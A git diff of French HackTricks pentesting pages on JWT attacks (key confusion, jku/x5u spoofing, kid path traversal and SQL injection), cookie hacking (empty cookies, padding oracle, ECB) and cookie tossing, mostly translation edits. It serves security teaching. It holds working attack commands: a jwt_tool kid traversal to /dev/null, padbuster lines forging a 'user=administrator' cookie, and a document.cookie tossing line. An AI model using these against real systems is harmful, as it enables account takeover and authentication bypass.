Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem @@ -91,14 +91,14 @@ Un attaquant intègre une nouvelle clé dans l'en-tête du jeton et le serveur u Cela peut être fait avec l'extension Burp "JSON Web Tokens".\ (Envoyez la requête au Repeater, dans l'onglet JSON Web Token sélectionnez "CVE-2018-0114" et envoyez la requête). -### Contrefaçon de JWKS +### Spoofing JWKS Les instructions détaillent une méthode pour évaluer la sécurité des jetons JWT, en particulier ceux utilisant une revendication d'en-tête "jku". Cette revendication devrait être liée à un fichier JWKS (JSON Web Key Set) contenant la clé publique nécessaire à la vérification du jeton. * **Évaluation des jetons avec l'en-tête "jku"**: * Vérifiez l'URL de la revendication "jku" pour vous assurer qu'elle mène au fichier JWKS approprié. * Modifiez la valeur "jku" du jeton pour diriger vers un service web contrôlé, permettant l'observation du trafic. -* **Surveillance de l'interaction HTTP**: +* **Surveillance des interactions HTTP**: * Observer les requêtes HTTP vers l'URL spécifiée indique les tentatives du serveur pour récupérer les clés à partir du lien fourni. * Lors de l'utilisation de `jwt_tool` pour ce processus, il est crucial de mettre à jour le fichier `jwtconf.ini` avec l'emplacement de votre JWKS personnel pour faciliter les tests. * **Commande pour `jwt_tool`**: @@ -110,7 +110,7 @@ python3 jwt_tool.py JWT_HERE -X s ### Aperçu des problèmes de Kid -Une revendication d'en-tête facultative appelée `kid` est utilisée pour identifier une clé spécifique, ce qui devient particulièrement vital dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton. +Une revendication d'en-tête facultative appelée `kid` est utilisée pour identifier une clé spécifique, ce qui devient particulièrement important dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton. #### Révélation de la clé via "kid" @@ -122,7 +122,7 @@ La revendication `kid` peut également être exploitée pour naviguer à travers ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` -En ciblant des fichiers avec un contenu prévisible, il est possible de falsifier un JWT valide. Par exemple, le fichier `/proc/sys/kernel/randomize_va_space` dans les systèmes Linux, connu pour contenir la valeur **2**, peut être utilisé dans le paramètre `kid` avec **2** comme mot de passe symétrique pour la génération du JWT. +En ciblant des fichiers avec un contenu prévisible, il est possible de falsifier un JWT valide. Par exemple, le fichier `/proc/sys/kernel/randomize_va_space` dans les systèmes Linux, connu pour contenir la valeur **2**, peut être utilisé dans le paramètre `kid` avec **2** comme mot de passe symétrique pour la génération de JWT. #### Injection SQL via "kid" @@ -164,7 +164,7 @@ print("e:", hex(key.e)) ``` #### x5u -X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés en forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 52807. Une sécurité de transport est requise pour transférer les certificats. +X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés sous forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 5280. Une sécurité de transport est requise pour transférer les certificats. Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**. @@ -173,11 +173,11 @@ Pour falsifier un nouveau jeton en utilisant un certificat contrôlé par vous, openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` -Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé.** +Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé**. ![](<../.gitbook/assets/image (439).png>) -Vous pouvez également abuser de ces deux vulnérabilités **pour les SSRFs**. +Vous pouvez également abuser de ces deux vulnérabilités **pour les SSRF**. #### x5c @@ -206,7 +206,7 @@ const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` -Il est possible de générer une nouvelle clé privée/publique, incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature : +Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et de l'utiliser pour générer une nouvelle signature : ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt @@ -225,7 +225,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); ### JTI (JWT ID) La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher le jeton d'être rejoué.\ -Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant d'envoyer 10000 requêtes entre chaque rejouer réussi). +Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). La requête 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant d'envoyer 10000 requêtes entre chaque rejouer réussi). ### Réclamations enregistrées JWT @@ -237,11 +237,11 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000 Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email devrait être investiguée. Une tentative devrait ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté. -* Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si l'inscription sur une application tierce, car cela pourrait entrer dans une zone grise légale. +* Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si l'inscription sur une application tierce est nécessaire, car cela pourrait entrer dans une zone grise légale. **Vérification de l'expiration des jetons** -L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande de mitiger les attaques de rejouer JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool. +L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. La RFC JWT recommande de mitiger les attaques de rejouer JWT en utilisant la revendication "exp" pour définir une heure d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le délai d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool. * Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer. @@ -249,9 +249,9 @@ L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp" {% embed url="https://github.com/ticarpi/jwt_tool" %} -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index 41c33081b..65f321656 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -88,7 +88,7 @@ Cela empêche le **client** d'accéder au cookie (via **Javascript** par exemple [cookie-jar-overflow.md](cookie-jar-overflow.md) {% endcontent-ref %} -* Il est possible d'utiliser une attaque [**Cookie Smuggling**](./#cookie-smuggling) pour exfiltrer ces cookies +* Il est possible d'utiliser une attaque de [**Smuggling de Cookies**](./#cookie-smuggling) pour exfiltrer ces cookies ### Secure @@ -106,23 +106,33 @@ Pour les cookies préfixés par `__Host-`, plusieurs conditions doivent être re * Le chemin de ces cookies doit être défini sur `/`. Il est important de noter que les cookies préfixés par `__Host-` ne sont pas autorisés à être envoyés aux superdomaines ou aux sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, l'utilisation du préfixe `__Host-` pour tous les cookies d'application peut être considérée comme une bonne pratique pour renforcer la sécurité et l'isolation. -## Attaques par Cookies +### Écrasement de cookies + +Ainsi, l'une des protections des cookies préfixés par `__Host-` est d'empêcher leur écrasement par des sous-domaines. Empêchant par exemple les [**attaques de Cookie Tossing**](cookie-tossing.md). Dans la présentation [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**article**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) il a été présenté qu'il était possible de définir des cookies préfixés par \_\_HOST- à partir d'un sous-domaine, en trompant l'analyseur, par exemple, en ajoutant "=" au début ou au début et à la fin...: + +
+ +Ou en PHP, il était possible d'ajouter **d'autres caractères au début** du nom du cookie qui allaient être **remplacés par des caractères de soulignement**, permettant d'écraser les cookies `__HOST-`: + +
+ +## Attaques de Cookies Si un cookie personnalisé contient des données sensibles, vérifiez-le (surtout si vous participez à un CTF), car il pourrait être vulnérable. -### Décodage et Manipulation des Cookies +### Décodage et Manipulation de Cookies -Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet aux attaquants de modifier le contenu du cookie et de se faire passer pour d'autres utilisateurs en encodant leurs données modifiées dans le cookie. +Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet aux attaquants de modifier le contenu du cookie et d'usurper d'autres utilisateurs en encodant leurs données modifiées dans le cookie. ### Détournement de Session -Cette attaque consiste à voler le cookie d'un utilisateur pour accéder de manière non autorisée à son compte au sein d'une application. En utilisant le cookie volé, un attaquant peut se faire passer pour l'utilisateur légitime. +Cette attaque consiste à voler le cookie d'un utilisateur pour accéder de manière non autorisée à son compte au sein d'une application. En utilisant le cookie volé, un attaquant peut usurper l'utilisateur légitime. ### Fixation de Session -Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application ne génère pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut se faire passer pour la victime. Cette technique repose sur la victime se connectant avec un cookie fourni par l'attaquant. +Dans ce scénario, un attaquant trompe une victime pour utiliser un cookie spécifique pour se connecter. Si l'application n'attribue pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie d'origine, peut usurper la victime. Cette technique repose sur la victime se connectant avec un cookie fourni par l'attaquant. -Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez : +Si vous avez trouvé un **XSS dans un sous-domaine** ou que vous **contrôlez un sous-domaine**, lisez : {% content-ref url="cookie-tossing.md" %} [cookie-tossing.md](cookie-tossing.md) @@ -132,7 +142,7 @@ Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant être connectée à son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant. -Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez : +Si vous avez trouvé un **XSS dans un sous-domaine** ou que vous **contrôlez un sous-domaine**, lisez : {% content-ref url="cookie-tossing.md" %} [cookie-tossing.md](cookie-tossing.md) @@ -142,21 +152,21 @@ Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles dans les JWT. -Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, il est recommandé de consulter le document lié sur le piratage des JWT. +Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, il est recommandé d'accéder au document lié sur le piratage des JWT. -### Falsification de Requête Inter-Site (CSRF) +### Forgery de Requête entre Sites (CSRF) -Cette attaque force un utilisateur connecté à exécuter des actions non désirées sur une application web sur laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable. +Cette attaque force un utilisateur connecté à exécuter des actions non désirées sur une application web à laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable. ### Cookies Vides -(Vérifiez les détails supplémentaires dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré via JavaScript comme suit: +(Vérifiez plus de détails dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré via JavaScript comme suit: ```js document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "b=v2" ``` -Le résultat dans l'en-tête cookie envoyé est `a=v1; test value; b=v2;`. De manière intrigante, cela permet la manipulation des cookies si un cookie avec un nom vide est défini, contrôlant potentiellement d'autres cookies en définissant le cookie vide à une valeur spécifique: +Le résultat dans l'en-tête cookie envoyé est `a=v1; test value; b=v2;`. De manière intrigante, cela permet la manipulation des cookies si un cookie avec un nom vide est défini, contrôlant potentiellement d'autres cookies en définissant le cookie vide sur une valeur spécifique: ```js function setCookie(name, value) { document.cookie = `${name}=${value}`; @@ -188,7 +198,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; * Zope recherche une virgule pour commencer l'analyse du cookie suivant. * Les classes de cookies de Python commencent l'analyse sur un caractère d'espace. -Cette vulnérabilité est particulièrement dangereuse dans les applications web reposant sur une protection CSRF basée sur les cookies, car elle permet aux attaquants d'injecter des cookies de jeton CSRF falsifiés, contournant potentiellement les mesures de sécurité. Le problème est exacerbé par la gestion des noms de cookies en double par Python, où la dernière occurrence remplace les précédentes. Il soulève également des préoccupations pour les cookies `__Secure-` et `__Host-` dans des contextes non sécurisés et pourrait entraîner des contournements d'autorisation lorsque les cookies sont transmis à des serveurs back-end susceptibles de falsification. +Cette vulnérabilité est particulièrement dangereuse dans les applications web reposant sur une protection CSRF basée sur les cookies, car elle permet aux attaquants d'injecter des cookies de jeton CSRF falsifiés, contournant potentiellement les mesures de sécurité. Le problème est exacerbé par la gestion des noms de cookies en double par Python, où la dernière occurrence remplace les précédentes. Cela soulève également des préoccupations pour les cookies `__Secure-` et `__Host-` dans des contextes non sécurisés et pourrait entraîner des contournements d'autorisation lorsque les cookies sont transmis à des serveurs back-end susceptibles de falsification. ### Vérifications supplémentaires des cookies vulnérables @@ -202,15 +212,15 @@ Cette vulnérabilité est particulièrement dangereuse dans les applications web * Vérifiez l'option "**se souvenir de moi**" si elle existe pour voir comment elle fonctionne. Si elle existe et peut être vulnérable, utilisez toujours le cookie de **se souvenir de moi** sans aucun autre cookie. * Vérifiez si le cookie précédent fonctionne même après avoir changé le mot de passe. -#### **Attaques de cookies avancées** +#### **Attaques avancées de cookies** Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le nom d'utilisateur). Ensuite, vous pouvez : -* Essayez de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayez de **deviner** comment l'algorithme fonctionne. +* Essayez de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayez de **deviner** comment fonctionne l'algorithme. * Essayez de **forcer le nom d'utilisateur**. Si le cookie ne sauvegarde que comme méthode d'authentification pour votre nom d'utilisateur, vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **forcer** chaque **bit** de votre cookie car l'un des cookies que vous essayerez appartiendra à "**admin**". -* Essayez **Padding** **Oracle** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**. +* Essayez l'**Oracle de Remplissage** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**. -**Padding Oracle - Exemples de Padbuster** +**Oracle de Remplissage - Exemples de Padbuster** ```bash padbuster # When cookies and regular Base64 @@ -220,15 +230,15 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 ``` -Padbuster fera plusieurs tentatives et vous demandera quelle condition est la condition d'erreur (celle qui n'est pas valide). +Padbuster fera plusieurs tentatives et vous demandera quelle condition est l'erreur (celle qui n'est pas valide). Ensuite, il commencera à décrypter le cookie (cela peut prendre plusieurs minutes). -Si l'attaque a réussi, vous pourriez essayer de crypter une chaîne de votre choix. Par exemple, si vous vouliez **crypter** **user=administrator** +Si l'attaque a réussi, vous pourriez essayer de crypter une chaîne de votre choix. Par exemple, si vous vouliez **crypter** **user=administrateur** ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` -Cette exécution vous donnera le cookie correctement chiffré et encodé avec la chaîne **user=administrator** à l'intérieur. +Cet exécution vous donnera le cookie correctement chiffré et encodé avec la chaîne **user=administrator** à l'intérieur. **CBC-MAC** @@ -245,7 +255,7 @@ Peut-être qu'un cookie pourrait avoir une certaine valeur et être signé en ut Si le cookie est chiffré en utilisant ECB, il pourrait être vulnérable.\ Lorsque vous vous connectez, le cookie que vous recevez doit être toujours le même. -**Comment détecter et attaquer :** +**Comment détecter et attaquer:** Créez 2 utilisateurs avec des données presque identiques (nom d'utilisateur, mot de passe, e-mail, etc.) et essayez de découvrir un certain motif à l'intérieur du cookie donné. @@ -264,17 +274,16 @@ Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Ainsi, en sacha {% embed url="https://discord.gg/tryhardsecurity" %} -
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/hacking-with-cookies/cookie-tossing.md b/pentesting-web/hacking-with-cookies/cookie-tossing.md index 17b846847..d79ab98c2 100644 --- a/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -1,23 +1,24 @@ +# Cookie Tossing +
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
- -## Description +### Description Si un attaquant peut **contrôler un sous-domaine ou le domaine d'une entreprise ou trouve une XSS dans un sous-domaine**, il pourra effectuer cette attaque. -Comme indiqué dans la section de piratage des cookies, lorsqu'un **cookie est défini pour un domaine (en le spécifiant), il sera utilisé dans le domaine et les sous-domaines.** +Comme cela a été indiqué dans la section de piratage des cookies, lorsqu'un **cookie est défini pour un domaine (en le spécifiant), il sera utilisé dans le domaine et les sous-domaines**. {% hint style="danger" %} Par conséquent, **un attaquant pourra définir pour le domaine et les sous-domaines un cookie spécifique en faisant quelque chose comme** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` @@ -26,14 +27,16 @@ Par conséquent, **un attaquant pourra définir pour le domaine et les sous-doma Cela peut être dangereux car l'attaquant peut : * **Fixer le cookie de la victime sur le compte de l'attaquant** donc si l'utilisateur ne le remarque pas, **il effectuera les actions dans le compte de l'attaquant** et l'attaquant peut obtenir des informations intéressantes (vérifier l'historique des recherches de l'utilisateur sur la plateforme, la victime peut enregistrer sa carte de crédit dans le compte...) -* Si le **cookie ne change pas après la connexion**, l'attaquant peut simplement **fixer un cookie**, attendre que la victime se connecte, puis **utiliser ce cookie pour se connecter en tant que victime**. -* Si le **cookie définit une valeur initiale** (comme dans Flask où le **cookie** peut **définir** le **jeton CSRF** de la session et que cette valeur sera conservée après la connexion de la victime), l'**attaquant peut définir cette valeur connue puis l'exploiter** (dans ce scénario, l'attaquant peut ensuite faire effectuer une requête CSRF à l'utilisateur car il connaît le jeton CSRF). +* Si le **cookie ne change pas après la connexion**, l'attaquant peut simplement **fixer un cookie (fixation de session)**, attendre que la victime se connecte, puis **utiliser ce cookie pour se connecter en tant que victime**. +* Parfois, même si les cookies de session changent, l'attaquant peut utiliser l'ancien et recevra également le nouveau. +* Si le **cookie définit une valeur initiale** (comme dans Flask où le **cookie** peut **définir** le **jeton CSRF** de la session et que cette valeur sera maintenue après la connexion de la victime), l'**attaquant peut définir cette valeur connue puis l'exploiter** (dans ce scénario, l'attaquant peut ensuite amener l'utilisateur à effectuer une requête CSRF car il connaît le jeton CSRF). +* Tout comme définir la valeur, l'attaquant pourrait également obtenir un cookie non authentifié généré par le serveur, obtenir le jeton CSRF à partir de celui-ci et l'utiliser. -## Ordre des cookies +### Ordre des Cookies -Lorsqu'un navigateur reçoit deux cookies avec le même nom **affectant partiellement le même champ d'application** (domaine, sous-domaines et chemin), le **navigateur enverra les deux valeurs du cookie** lorsque les deux sont valides pour la requête. +Lorsqu'un navigateur reçoit deux cookies avec le même nom **affectant partiellement le même domaine** (domaine, sous-domaines et chemin), le **navigateur enverra les deux valeurs du cookie** lorsque les deux sont valides pour la requête. -En fonction de qui a **le chemin le plus spécifique** ou lequel est le **plus ancien**, le navigateur **définira d'abord la valeur du cookie** puis la valeur de l'autre comme dans : `Cookie: iduser=CookiePlusSpécifiqueEtPlusAncien; iduser=MoinsSpécifique;` +En fonction de qui a **le chemin le plus spécifique** ou lequel est le **plus ancien**, le navigateur **définira d'abord la valeur du cookie** puis la valeur de l'autre comme dans : `Cookie: iduser=CookiePlusSpecifiqueEtPlusAncien; iduser=MoinsSpecifique;` La plupart des **sites Web n'utiliseront que la première valeur**. Ainsi, si un attaquant souhaite définir un cookie, il est préférable de le définir avant qu'un autre ne soit défini ou de le définir avec un chemin plus spécifique. @@ -41,7 +44,7 @@ La plupart des **sites Web n'utiliseront que la première valeur**. Ainsi, si un De plus, la capacité à **définir un cookie dans un chemin plus spécifique** est très intéressante car vous pourrez faire en sorte que la **victime travaille avec son cookie sauf dans le chemin spécifique où le cookie malveillant défini sera envoyé en premier**. {% endhint %} -## Contourner la protection +### Contournement de la Protection Une protection possible contre cette attaque serait que le **serveur Web n'accepte pas les requêtes avec deux cookies portant le même nom mais deux valeurs différentes**. @@ -53,38 +56,38 @@ Pour contourner le scénario où l'attaquant définit un cookie après que la vi Un autre **contournement** utile pourrait être de **coder en URL le nom du cookie** car certaines protections vérifient la présence de 2 cookies portant le même nom dans une requête et ensuite le serveur décoderait les noms des cookies. -## Bombe à cookies +### Bombe de Cookie -Une attaque de Cookie Tossing peut également être utilisée pour effectuer une attaque de **Bombe à cookies** : +Une attaque de Cookie Tossing peut également être utilisée pour effectuer une attaque de **Bombe de Cookie** : {% content-ref url="cookie-bomb.md" %} [cookie-bomb.md](cookie-bomb.md) {% endcontent-ref %} -## Défense**s** +### Défense**s** -### **Utiliser le préfixe `__Host` dans le nom du cookie** +#### **Utilisez le préfixe `__Host` dans le nom du cookie** -* Si un nom de cookie a ce préfixe, il **ne sera accepté que** dans une directive Set-Cookie s'il est marqué Secure, a été envoyé depuis une origine sécurisée, n'inclut pas d'attribut Domain, et a l'attribut Path défini sur / +* Si un nom de cookie a ce préfixe, il **ne sera accepté que** dans une directive Set-Cookie s'il est marqué Secure, a été envoyé depuis une origine sécurisée, n'inclut pas d'attribut Domain et a l'attribut Path défini sur / * **Cela empêche les sous-domaines de forcer un cookie sur le domaine principal car ces cookies peuvent être considérés comme "verrouillés sur le domaine"** -## Références +### Références * [**@blueminimal**](https://twitter.com/blueminimal) * [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers) * [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/) - +* [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg)
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
